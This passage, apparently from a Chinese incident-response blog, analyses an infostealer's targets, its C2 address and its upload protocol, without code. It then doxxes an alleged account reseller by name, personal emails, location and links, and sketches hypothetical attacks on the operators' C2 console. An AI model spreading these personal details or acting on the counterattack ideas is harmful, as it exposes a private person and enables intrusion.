Intent、Lunar、TLauncher、Feather、Meteor 等启动器和客户端相关的账号配置。真正有意思的目标,不是谁辛辛苦苦搭出来的 Minecraft 城堡,而是启动器周围的账号状态。 钱包和浏览器扩展又是另一大类目标,除此之外还有 VPN 客户端、FileZilla、AnyDesk、Ngrok、OBS 相关数据、截图、剪贴板内容、主机信息,以及对常见文档和图片的一轮通用扫描。模式非常统一:找到位置可预测的本地状态,能拿什么就拿什么,然后全部塞进同一个结果归档。 把这些东西放在一起看, Stealer 这个名字甚至显得有点过于简单。并不存在一个单一动作叫“窃取凭据”;真正发生的是很多更细碎的收集决策:复制数据库、恢复密钥、保留 Session、读取配置文件、截一张图,或者把一份普通文档也顺手加进压缩包。 这个 Stealer 到底是偷什么的 在继续追踪模块把数据发到哪里之前,先停下来看看完整的收集面很有必要。到了这一步,这个 Stealer 已经完全不像“浏览器密码抓取器顺便多几个功能”,而是一个面向可复用访问、本地应用状态,以及感染主机上任何可能值得拿走材料的广泛收集器。 领域 捕获模块中识别出的例子 收集器在找什么 AI 开发工具 Claude Code、Codex、Gemini 本地设置、认证文件、账号元数据和配置 浏览器 Chromium 系 Profile、Firefox Cookie、登录数据库、Web Data、浏览器状态,以及处理受保护记录所需的密钥材料 消息与社交应用 Telegram、Discord 桌面端和 Web Session、Token 及相关加密材料 游戏与启动器 Steam、Minecraft 启动器和客户端、其他游戏平台状态 Token、Cookie、启动器身份信息和可复用账号配置 钱包与浏览器扩展 桌面钱包、加密货币扩展、MFA 和密码管理器扩展 本地可访问的钱包或扩展数据,其中可能包含凭据、密钥或账号访问材料 VPN、远程访问与传输工具 VPN 客户端、AnyDesk、FileZilla、Ngrok 可能暴露进入受害者环境另一条路径的配置和连接材料 用户与主机数据 截图、剪贴板内容、文档、图片、OBS 相关数据、系统信息 不属于单一应用的上下文、秘密、文件和主机元数据 那个熟悉的第三端口 当所有 collector 最终汇聚成一个共享 ZIP 归档后,下一个问题自然就是:这个压缩包会被发到哪里?答案是同一台 C2 主机上的另一条连接: 145.63.134[.]94:1488 Stealer 把这个地址和服务交给  getaddrinfo,建立 TCP 连接,发送受害者标识,等待  auth_ok,然后把 ZIP 作为一个带长度前缀的 Buffer 发出去。线上协议简单得几乎有点让人意外: connect → stealer;\n ← auth_ok → 8-byte big-endian ZIP length → complete ZIP buffer → close 它传输的是一个完整结果包,而不是每偷一个文件就发一次单独请求。发送完成后,Stealer 会清理并退出。常驻组件仍然是整个行动里长期存在的那一部分;这个模块则是为一项具体任务而来,收集数据,把结果送回去,然后消失。 到了这里,三个端口已经对应三种非常不同的工作:406 负责控制,408 负责模块投递,1488 负责 Stealer 结果回传。 当一条 OSINT 线索重新出现在恶意软件里 然后,就是这个端口号本身。 1488。 我之前已经花了很大一部分 OSINT 调查,去追那个非常有辨识度的 Handle gitlerzov1488gitler 现在,同一个数字又出现在 Stealer 自己的上传路径里。一条线索来自公开基础设施和个体调查;另一条来自一个单独捕获到的恶意软件组件。第一次,OSINT 这一侧的东西重新出现在了恶意软件实现本身。这个重合单独拿出来当然还不算证明,但也很难再把它当成又一个纯装饰性的巧合直接丢掉。和此前的域名、邮箱、仓库和 Handle 跳转放在一起,它让调查的两半明显靠得更近了。 Minecraft 这里也出现了一个更小的呼应。公开个人有 Minecraft 相关内容,而 Stealer 又明确收集 Minecraft 启动器和客户端账号状态。Minecraft 本身当然太常见,不可能单凭这一点识别某个人;但在这个上下文里,它又成了公开个人与恶意软件目标选择恰好发生交叉的一个点。 第二轮分析改变了什么 第一轮分析已经完成了当时事件响应真正需要的工作:识别 foothold、持久化、C2,以及 containment 过程中真正重要的主机痕迹。后来的模块捕获,则补上了那块一直让我觉得奇怪的缺失的拼图。 C2 可以按需下发一个 Stealer。Stealer 通过 mutex 逻辑和常驻 loader 建立代码级联系,收集应用和会话数据,把结果打成 ZIP,然后通过自己的独立通道把归档发回去。这套架构也解释了为什么第一个可执行文件看起来是一只能力完整的 RAT,却没有包含我本以为应该能找到的完整信息窃取逻辑。到了这一步,这场事件已经不再像“一个 RAT 顺便偷点东西”。它更像一套模块化工作流:持久访问、tasking、能力投递、数据收集和结果上传,都是可以按需组合的独立部分。 Daniel,你只是个消费者,对吧? 第一部分已经提到了 Steam 后续里最奇怪的一块。一个叫  661SAVAGEEE 的陌生用户被加成了我的好友,还加入了我的家庭共享。我第一次轮换凭据的时候并没有注意到这层关系。后来,这个账号使用了我的 ARC Raiders 访问权限,开挂,然后被封;因为游戏是我的账号拥有的,处罚也一路波及到了我。我的 Embark 显示名还被改成了  661SAVAGE。 清理时,我几乎在其他所有地方都在想着“持久化”这件事:Gmail 权限、受信任设备、OAuth 授权、GitHub PAT 和 SSH Key、活跃 Session、账号恢复方式。Steam 几乎是唯一一个我没有问出同类问题的平台。结果偏偏就栽在这个遗漏上lol 这才是关键,使用这份访问权限的人,并不需要 RAT 继续留在我的主机上。恶意软件只需要有足够时间,在服务端偷到或者创建某种可复用状态。一旦家庭共享关系已经建立,后续滥用完全可以脱离主机独立继续。 当我第一次看到那个意外出现的 Steam 好友时,我的反应很直接:这会不会就是某个操作者?但这个说法没持续多久。 661SAVAGEEE 看起来很新,而且完全可以随手丢掉,正是那种拿着别人游戏权限乱用、用完就烧掉的账号。真正更有价值的线索,是 Embark 名字被改了。使用我账号的人,主动把我的显示名换成了  661SAVAGE。这给了我一个直接来自事件本身、已经确认的 Handle 变体,所以我根本不需要自己猜和手动生成 Handle 变种。而且和 661SAVAGEEE 不同, 661SAVAGE 这个 Handle 在互联网上的匹配并不稀少。 Steam 主页 76561198769671376 看起来就是这个个体背后的主账号。它使用 661SAVAGE 这个名字,并且在 8 月 12 日收到了一次游戏封禁,时间和事件发生期非常接近。它的好友列表小得离谱,我查看时只有三个账号,而其中两个, dnovoa1997 和  ITzSavage510.ttv,同样有游戏封禁记录。 值得注意的是, 661SAVAGE 和  dnovoa1997 恰好在同一天被封。我很难相信这纯粹只是巧合。不过,即便这个很小的好友圈里几个账号有不少相似之处,我也不会直接认为它们全都是  661SAVAGE 的小号。还有一个简单得多的解释:开挂的人,本来就很可能和其他开挂的人一起玩,啧啧。 更广泛的  661SAVAGE  个体则稳定得多。我在 Steam、直播 Profile 和 TikTok 上都找到了同样的个人品牌,全部指向一个以射击游戏为主的游戏玩家与主播身份。这不是什么特别困难的 OSINT 挑战;一旦拿到这个更短的 Handle,这个个体自己留下的线索其实相当多。 TikTok 主页又补上了一个新发现,显示名是  661SAVAGE,但真正的账号 Handle 是  danieln979。起初,我对 661SAVAGE 的身份设想还比较普通:他大概只是黑号的下游消费者。因此,一次性账号也好,开挂也好,账号用完就丢也好,乃至糟糕的 OPSEC,这些就都说得通了。 然后,我找到了他的商店。这个线索甚至比本文草稿本身还新。在  661savage.store,同一个个人品牌变成了一个商店。其中一个商品页面尤其具体:661savage.store/product.html?id=NFA%20ACCOUNTS 这一下直接改变了对他角色的判断。一个人如果只是收到一个被盗账号,然后拿去开挂,看起来更像消费者;但一个经营商店、销售廉价 ARC Raiders 黑号的人,就明显更靠近同一套网络犯罪经济里的经销层。不管库存里的每一个账号究竟来自哪里,这已经是账号分发与经销,而不是普通消费。而它和我这次事件的重合,甚至具体得有点好笑: 我的主机被感染 ↓ 我的 Steam 访问被攻陷 ↓ 661SAVAGEEE 被加入 Family Sharing ↓ ARC Raiders 被滥用并封禁 ↓ 我的 Embark 名字被改成 661SAVAGE ↓ 661SAVAGE 的商店以 $2 出售 ARC Raiders NFA 账号 “消费者”这个假设已经不太说得通了。更合理的角色,是一个小规模转售者或经销商,也可能他同时会自己使用或测试正在出售的同类库存。在这种规模下,“消费者”和“卖家”根本不必是两拨人。一个小操作者完全可以身兼两职。 店面让这个个体变得更有意思,所以我带着一个不同的问题重新回去翻社交痕迹。这时我已经不只是问:谁在用 661SAVAGE 这个名字? 我更想知道,这个 Handle 有没有泄露出更个人化的信息。 有的。我找到了两个使用相同昵称和头像模式的 TikTok 账号: 661SAVAGE → @danieln979 661SAVAGE → @danielnovoa82 第二个 Handle, danielnovoa82,尤其有用,因为它直接暴露出了一个很像姓氏的字符串: Novoa。然后,我把这两个 TikTok Handle 和  661SAVAGE 那个小得可怜的 Steam 好友列表里的一个账号放到一起: Tiktok Handle: danieln979 Tiktok Handle: danielnovoa82 Steam Profile: dnovoa1997 这时候,反复出现的线索已经很难忽略了。 dnovoa1997 并不是用户名枚举里随便搜出来的一个随机结果;它和  661SAVAGE 的 Steam 主页有直接好友关系,而且还是仅有的三个好友之一。把这些 Handle 拼到一起后,一个很明显的身份线索出现了: Daniel Novoa. 我假装成一个对他商店感兴趣的买家,加入了他的 Discord 服务器。这样我就有机会查看他的 Discord 资料卡,而里面又泄露出了额外的信息,并帮助我交叉验证前面的一些判断。 详细的 Discord 资料卡暴露了两个额外的平台主页:他的 PSN Profile,以及一个 Steam 用户名 danielnovoa440848。这让 Daniel Novoa 更像是他的真实姓名。而且更重要的是,danielnovoa440848 直接又映射回了使用  661SAVAGE 个体的同一个 Steam 账号。 661SAVAGE 这个 Handle 本身又提供了一条线索。 661 是美国加州的电话区号,而  661SAVAGE 的 Steam 主页位置也写着加州。两者任何一个当然都可能是随便写的,但到了这里,这个个体已经持续表现出相当糟糕的隐私意识和 OPSEC。他甚至嚣张到直接把我的 Embark 显示名改成自己的通用 Handle。从 OPSEC 角度看,这已经差到有点喜感了。 同样的模式还出现在其他地方。他在多个平台之间重复使用头像和名字,店面也使用相同个人品牌。把这些放在一起,一旦知道该找什么,这个个体实在谈不上难以追踪。 继续搜索逐渐形成的  Daniel Novoa + California + 661 组合后,我在 Bakersfield 一带找到了一个非常接近的公共记录候选人。地点符合 661 区域,年龄也符合  dnovoa1997 里的  1997 线索。一个缓存搜索结果里,这个人仍显示为 28 岁,而当前记录已经是 29 岁,看起来连最近刚过生日这件事也能对上。 最后,我购买了这份报告。更多信息出来之后,基本印证了我的判断: 好家伙,这下都对上了。尤其是邮箱 dnovoa1997@gmail.com 和  danielnovoa440848@gmail.com,分别和他的两个 Steam 账号保持一致;手机号也关联到了 Steam 账号  661savageeeeeeeeeee。 消费者、商家,还是两者都是? 这个商店改变了最重要的结论。刚开始追这条分支时,我以为自己看到的是链条最末端附近的人:一个不知道怎么拿到我 Steam 访问权限的作弊玩家,然后很开心地把它烧掉了。 后来,他主动加了我好友,还问我需不需要黑号。我立刻意识到,这是一个绝对不能错过的取证机会。我很开心地回复了他,然后他就这么直接给我发了一个可执行文件! 不得不说,我当时手都有点抖。我把样本下载下来,上传到 VirusTotal,同时马上自己开始手工分析。结果让我心情有点复杂。它不是另一只 RAT 或后门,也不是最初那个 InfoStealer。相反,这个可执行文件本质上是一个 Steam 令牌导入和登录缓存工具。它接收外部提供的 Steam 访问凭据,解析令牌和 SteamID,停止 Steam,把对应的本地登录状态写进去,然后重新启动 Steam。实际效果就是:把给定的 Steam 会话导入到另一台机器上并复用。 所以,这并不是我刚看到样本时短暂期待的那个“大奖”。但从另一个角度,它反而比预想中更有用。在这之前,我对他角色的判断主要来自商店行为、重复使用的身份、游戏账号,以及我自己的 Steam 访问被滥用的方式。现在,他本人亲手把一个专门用来消费和复用 Steam 访问权限的工具交给了我。这让他从“很可能是下游销售者/经销商”,变成了一个我可以更有把握放进这部分网络犯罪组织经济链条里的人。 他看起来仍然位于恶意软件行动技术核心的下游。我没有任何直接证据,可以把他和 GitHub 基础设施、C2 服务器、域名注册或恶意软件开发连接起来。但到了这里,“下游”显然已经不等于“无关”。 最初的操作员并不需要亲自登录他们偷到的每一个账号。一旦凭据、令牌和认证会话变成库存,其他人就可以把它们打包、转售、导入、测试、拿去开挂,或者干脆几美元一个地烧掉。而现在,他们让其中一种实现这些事情的工具,直接落到了我手里。 对他们的基础设施和行动做威胁建模 到这个时候,这场事件早就已经不再只是一次单独的入侵。整个格局大得多了。我最开始只有一个恶意 GitHub 仓库和一台被攻陷的主机。一路追下来,线索扩展成了伪造的社会证明、反复出现的推广账号、一次性仓库门面、Staging 基础设施、一只持久化 RAT、按需下发的 Stealer、被盗认证材料,以及最终那个把游戏账号当成廉价库存的下游市场。 当我对这个网络犯罪团伙的基础设施和行动已经有了更完整的理解后,我很难不开始从威胁建模的角度去看整套东西。我根本不需要反向入侵,在合法边界之内,已经有很多事情可以给他们制造麻烦、干扰他们的一部分行动,让他们日子更难过。 他们也可以成为受害者 前面的虚假受害者已经暴露了控制平面一个很有意思的特点:它相当信任客户端自己提交的身份和主机信息。在操作员那一侧,这些值至少有一部分总得被存储、搜索或者显示出来。这自然让我开始想:他们到底有多信任自己的“受害者”? 如果这是一场获得授权的反击,我首先会想知道,当攻击者可控的内容跨过这条边界,最终进入操作者界面时,会发生什么。主机名、用户名、进程信息、任务结果以及其他受害者元数据,从一台正常感染主机发过来时可能看起来毫无威胁;但从红队视角看,每一个由不受信任客户端提供的字段,都是输入面。 任务分发协议也带来了同一类授权问题。受害者ID 和任务 ID 都只是普通的应用对象,这会很自然地让对象所有权和跨客户端隔离变成值得关注的地方。一个客户端能不能引用属于另一个客户端的对象?持有关系到底检查得有多严?这些标识符是被当成秘密,还是仅仅只是数据库里的 Key? 然后还有 Stealer 的上传路径。1488 端口会接受一个由完全不可信终端生成的归档,再把它送进后面的某套存储和处理流程。归档解析、解压缩、文件命名、存储配额,以及之后操作者侧对这些文件的处理,全都引入了新的信任边界。如果这是一次获得授权的评估,这整条 流水线都值得看。 操作员界面本身可能还要更有意思。例如,Electron 在桌面管理客户端中相当流行,包括进攻安全工具和 C2 前端。和普通浏览器不同,Electron 应用有可能把带有特权的桌面功能暴露给渲染器。如果设计得不好,一个注入问题的影响可能会严重得多,尤其是在渲染器可以接触特权 API、不安全的预加载桥梁或 Node.js 能力时。最坏的情况下,一段由恶意“受害者”控制的文本,只是被管理控制台渲染出来,就可能一路变成操作者自己主机上的代码执行。 如果一套 C2 基础设施最后以这种方式翻车,那还挺讽刺的:不是有人去攻击载荷,而是载荷回传了某个东西,而操作者自己的界面对它信任得太多。 而公开基础设施又增加了一层攻击面。Staging 和 C2 服务器暴露了数量惊人、而且相当详细的互联网服务。这些服务很适合做指纹识别,而每一个没有必要暴露的服务,也都意味着又多了一份可能出错的软件、配置和认证面。 攻击者并不会因为自己是攻击者,就自动免于拥有攻击面。 代码质量的不一致也进一步强化了这种印象。原生 Loader 明显比 PowerShell Staging 逻辑中的一些部分更成熟;Stealer 一边有精心实现的收集器,另一边又有脆弱的解析和网络假设;GitHub 运营规模不小,但同样暴露出了自动化模式和糟糕的 OPSEC。它并不像一个被完美工程化的单一平台。它更像是一组质量参差不齐的组件、操作者和基础设施拼起来的东西,而这大概反而更接近现实里的网络犯罪行动。 当我不再把这场行动看成“一个恶意软件”,而是把它看成一整套系统以后,它自己的信任边界随之变得清晰起来: 区域 潜在攻击面 思路 可能影响 受害者元数据 客户端提交的用户名、主机名等字段 输入处理、输出编码、存储,以及操作者界面中的渲染 存储型注入或管理界面被攻陷 基于 Electron 的操作者客户端 可能具备特权的桌面渲染器 检查不可信内容与 Electron/Node 特权能力之间的隔离 XSS 的影响远超普通浏览器场景,甚至可能升级为操作者侧代码执行 Tasking API 作为应用对象使用的受害者ID 和任务 ID 对象所有权、授权边界和跨客户端隔离 访问或操纵其他受害者的 Task Stealer 上传 敌对终端向 1488 端口上传归档 归档解析、文件处理、解压、命名、配额和后续处理 解析器故障、不安全文件处理、资源耗尽,或者后端处理链被攻陷 互联网暴露服务 基础设施上暴露的多个服务 认证、补丁水平、不必要暴露和配置质量 给他们自己的服务器增加额外入口 GitHub 运营 重复的命名、推广、Fork 和仓库模式 基础设施映射和账号聚类 更快识别,并推动平台大规模清理 域名与托管 被重复使用的基础设施和行动关系 供应商归因、滥用举报和基础设施关联 域名暂停、托管中断,以及失去可重复利用的基础设施 下游账号市场 公开 Storefront、Discord 社区和重复身份 保存证据,并向受影响平台举报 销售渠道被移除,提高变现被盗访问的成本 行动 OPSEC 重复使用的 Handle、头像、基础设施和命名规则 关联本应彼此分离的行动组成部分 把原本想分开的基础设施和个体重新归到一起 并不是所有这些路径都需要真的去利用漏洞,才能让一场行动难受。有时候最有效的反制其实无聊得多:保存证据、关联基础设施、举报账号、通知 Provider、发布 IOC,让他们每一个原本想随手丢弃的资产都变得更贵、更难替换。 让那些“一次性”的部分不再那么一次性 对他们的基础设施做威胁建模很有意思,如果是在一次授权评估里,我确实会有不少地方想亲自去看。但在现实里,我真正能做、而且最有价值的“反击”,远没有在攻击者 Panel 里找到一个 RCE 那么有电影感。我可以把他们留下来的关系保存下来。 一个恶意仓库 URL 是近乎一次性的。仓库一删,链接就变成 404。但仓库本身并不是孤立的:给它点过 Star 的账号、保存了历史的 Fork、同一批账号推广过的其他仓库、重复出现的构造模式、域名、基础设施,以及最终和同一行动联系起来的恶意软件,全部都围在它周围。删掉一个页面,并不会抹掉它周围的图。 这改变了我看待滥用举报的方式。与其只举报一个明显恶意的仓库,然后等它消失,我可以把周围整个族交出去:仓库关系、账号关系、提交历史、重复的诱饵模式、基础设施,以及多条分别独立通向已确认恶意行为的分支。 同样的原则也适用于下游。一个像  661SAVAGEEE 这样的一次性 Steam 账号,本身没什么意思。但这个账号一路带出了长期存在的  661SAVAGE 个体、销售黑号的商店、Discord 社区、重复使用的游戏身份、现实身份相关证据,以及最终由他本人直接发给我的 Steam 访问工具。 最开始看起来只是一个作弊玩家,很开心地用别人账号开挂;最后却变成了我观察被盗认证材料背后部分转售经济的一扇窗口。保存证据,连接关系,暴露基础设施,举报族而不是一个个孤立 Artifact。 从一个仓库,到一整个生态 到最后,我一路追下来的路径大概变成了这样: 恶意 GitHub 诱饵 ↓ 推广 / Fork / 刷量网络 ↓ Staging 基础设施 ↓ 持久化 RAT 与 Tasking ↓ 按需下发的 Stealer 模块 ↓ 凭据、Session、应用状态 ↓ 下游账号访问 ↓ Reseller / Storefront ↓ 访问导入与复用 ↓ 最终使用、滥用和封禁 最开始只是一个恶意 GitHub 仓库,最后却扩展成了一幅大得多的图景:一次性身份、推广基础设施、Staging 服务器、恶意软件组件、被盗认证材料、转售渠道,以及最后用来消费这些访问权限的工具。 第一部分主要是在解决一件事:把攻击者赶出我的机器。第二部分,则是在追所有没有随着他们离开机器而一起消失的东西。仓库变成了一张网络;基础设施变成了一个族;RAT 变成了模块化系统的一部分;此前缺失的窃取能力,最终以一个单独的 Stealer 出现;账号滥用又带出了 661SAVAGE,随后是商店、Discord 社区、重复身份,以及最后由本人直接交到我手里的 Steam 访问工具。最后那个样本尤其有用。它不是另一只 RAT,也不是最初的 InfoStealer,但它让我更具体地看到了生态下游的一面:被盗、或者从外部获得的 Steam 访问权限,是如何被导入并作为一种产品重复利用的。 到了这里,这场事件已经不再像是“一个攻击者攻陷了一台主机”。它更像一条由松散连接的组件和人员组成的链条,每一部分负责整个流程里的不同环节。我仍然没能做到穷举链条里的每一个人、每一台服务器、每一笔交易。但我已经不再需要把所有缺失拼图都找到,才能理解自己究竟撞上了什么。我从一台被攻陷的主机和一个恶意 GitHub 仓库开始,最后却画出了这个生态的一部分。 说真的,我当然还是更希望这两堂课,是从别人的案例研究里学来的,而非发生在自己身上。但如果这件事反正已经发生了,我至少希望留下来的证据,比这份尴尬活得更久。 Reference Previous Threat Intelligence: https://forum.kasperskyclub.ru/topic/472004-virus-updaterexe  https://phishdestroy.io/domain/verificator.cc/  https://gridinsoft.com/online-virus-scanner/url/verificator-cc  https://phishdestroy.io/domain/genesis-hub.cc/ https://gridinsoft.com/online-virus-scanner/url/genesis_hub-cc https://www.shodan.io/host/192.162.199.184 https://www.shodan.io/host/145.63.134.94 https://unit42.paloaltonetworks.com/openclaw-ai-supply-chain-risk/  Relevant Social Media Profile https://steamcommunity.com/profiles/76561198769671376  https://steamcommunity.com/profiles/76561198665194900  https://psnprofiles.com/trophies/24888-ark-survival-ascended/TTV-661SAVAGE  https://661savage.store/  https://discord.gg/zznvhmhRDC  https://www.tiktok.com/@danieln979  https://www.tiktok.com/@danielnovoa82  https://www.twitch.tv/661savage  https://www.spokeo.com/Daniel-Novoa/California/Bakersfield/p7770855703706138216526571  https://www.tiktok.com/@gitlerzov1488  https://ely.by/u8637668  https://ely.by/u8489119  Alive Repositories At the Time of Writing https://github.com/Binaryunenhance/instagram-liker-bot-auto-like-software-download https://github.com/dev-Warrior65621/Adobe-Acrobat-Pro https://github.com/mad-Plasma-Mind9/crypto-miner-gpu-cpu-hashrate